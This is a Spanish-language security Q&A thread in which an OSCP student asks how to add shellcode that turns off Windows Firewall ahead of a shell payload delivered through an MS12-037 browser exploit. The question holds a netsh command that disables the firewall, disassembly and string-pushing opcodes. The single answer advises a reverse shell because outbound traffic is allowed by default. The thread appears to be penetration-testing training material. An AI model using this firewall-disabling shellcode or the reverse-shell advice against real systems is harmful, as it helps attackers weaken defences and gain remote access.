Modificar el código de shell para evitar el Firewall de Windows

4

Como parte de la capacitación de mi OSCP, se supone que debo obtener un shell en una máquina Win7 utilizando la vulnerabilidad del navegador (MS12-037) con el firewall de Windows activado.

Tengo una idea, pero me cuesta trabajo aplicarlo.

Lo que estoy tratando de hacer es insertar un código que apague el firewall antes de ejecutar el Shellcode.

Primero escribí un programa en C que apaga el firewall:

#include "stdlib.h"

int main ()
{

int i;
i=system ("netsh advfirewall set currentprofile state off");


return 0;

}

Luego compilé el programa y lo desarmé, y obtuve esto:

004013a0 <_main>:
  4013a0:   8d 4c 24 04             lea    ecx,[esp+0x4]
  4013a4:   83 e4 f0                and    esp,0xfffffff0
  4013a7:   ff 71 fc                push   DWORD PTR [ecx-0x4]
  4013aa:   55                      push   ebp
  4013ab:   89 e5                   mov    ebp,esp
  4013ad:   51                      push   ecx
  4013ae:   83 ec 14                sub    esp,0x14
  4013b1:   e8 6a ff ff ff          call   401320 <___main>
  4013b6:   83 ec 0c                sub    esp,0xc
  4013b9:   68 24 30 40 00          push   0x403024
  4013be:   e8 c5 01 00 00          call   401588 <_system>
  4013c3:   83 c4 10                add    esp,0x10
  4013c6:   89 45 f8                mov    DWORD PTR [ebp-0x8],eax
  4013c9:   b8 00 00 00 00          mov    eax,0x0
  4013ce:   8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
  4013d1:   c9                      leave  
  4013d2:   8d 61 fc                lea    esp,[ecx-0x4]
  4013d5:   c3                      ret    
  4013d6:   90                      nop
  4013d7:   90                      nop

La parte que me interesa es esta:

  4013b6:   83 ec 0c                sub    esp,0xc
  4013b9:   68 24 30 40 00          push   0x403024
  4013be:   e8 c5 01 00 00          call   401588 <_system>
  4013c3:   83 c4 10                add    esp,0x10

Aquí es donde el programa asigna espacio para la dirección de la cadena netsh advfirewall set currentprofile state off en la pila, y la pasa a system() y limpia la pila posteriormente.

Quiero insertar estas instrucciones antes de mi Shellcode para que desactiven el firewall antes de que comience la shell de enlace / reversa. Dado que el comando en el programa C está ubicado en la memoria, el programa tuvo que empujar su dirección a la pila, no a la cadena real.

Para hacer que el exploit funcione, debo empujar la cadena real en la pila y pasarla a system() , así que usé Corlean's para obtener las instrucciones que empujarán la cadena real a la pila.

String length : 46
Opcodes to push this string onto the stack :

"\x68\x66\x66\x20\x00"    //PUSH 0x00206666
"\x68\x74\x65\x20\x6f"    //PUSH 0x6f206574
"\x68\x20\x73\x74\x61"    //PUSH 0x61747320
"\x68\x66\x69\x6c\x65"    //PUSH 0x656c6966
"\x68\x74\x70\x72\x6f"    //PUSH 0x6f727074
"\x68\x72\x72\x65\x6e"    //PUSH 0x6e657272
"\x68\x74\x20\x63\x75"    //PUSH 0x75632074
"\x68\x6c\x20\x73\x65"    //PUSH 0x6573206c
"\x68\x65\x77\x61\x6c"    //PUSH 0x6c617765
"\x68\x76\x66\x69\x72"    //PUSH 0x72696676
"\x68\x68\x20\x61\x64"    //PUSH 0x64612068
"\x68\x6e\x65\x74\x73"    //PUSH 0x7374656e

Así que ahora necesito asignar espacio para esta cadena en la pila

\x83\xEC\x41  \sub esp,65

llame a system()

\xe8\xc5\x01\x00\x00        call   401588 

Luego limpia la pila

\x83\xC4\x41            add esp,byte +0x41

Tengo dos problemas aquí:

  1. Las instrucciones que estoy usando contienen caracteres incorrectos "00"

  2. el tamaño total de las modificaciones más el código de shell, excede el tamaño del búfer en el exploit original

Así que mis preguntas son:

  1. ¿Existe una solución a los problemas mencionados anteriormente?

  2. ¿Esta forma de resolver el problema es correcta / factible?

  3. ¿Hay mejores maneras de manejar esto?

pregunta HSN 15.04.2016 - 20:34
fuente

1 respuesta

4

Está totalmente equivocado en su enfoque, ya que está explotando IE, que es un proceso con privilegios más bajos y, por defecto, no podrá desactivar el firewall. además, al atacar con un exploit del lado del cliente, no puede hacer suposiciones acerca de las configuraciones de red, puede haber más de un cortafuegos entre el host y usted, un NAT puede bloquear su conexión de shell y el puerto que está escuchando no está abierto. .

mi sugerencia es buscar una carga útil de shell inversa, esto complementa las limitaciones de explotación del lado del cliente y admite más casos de uso. además, las configuraciones predeterminadas del servidor de seguridad de Windows permiten el tráfico de salida sin ninguna limitación, lo que significa que esencialmente el servidor de seguridad de Windows se "pasa por alto", como no bloqueando su shell.

    
respondido por el Jonathan Allon 30.04.2017 - 15:54
fuente

Lea otras preguntas en las etiquetas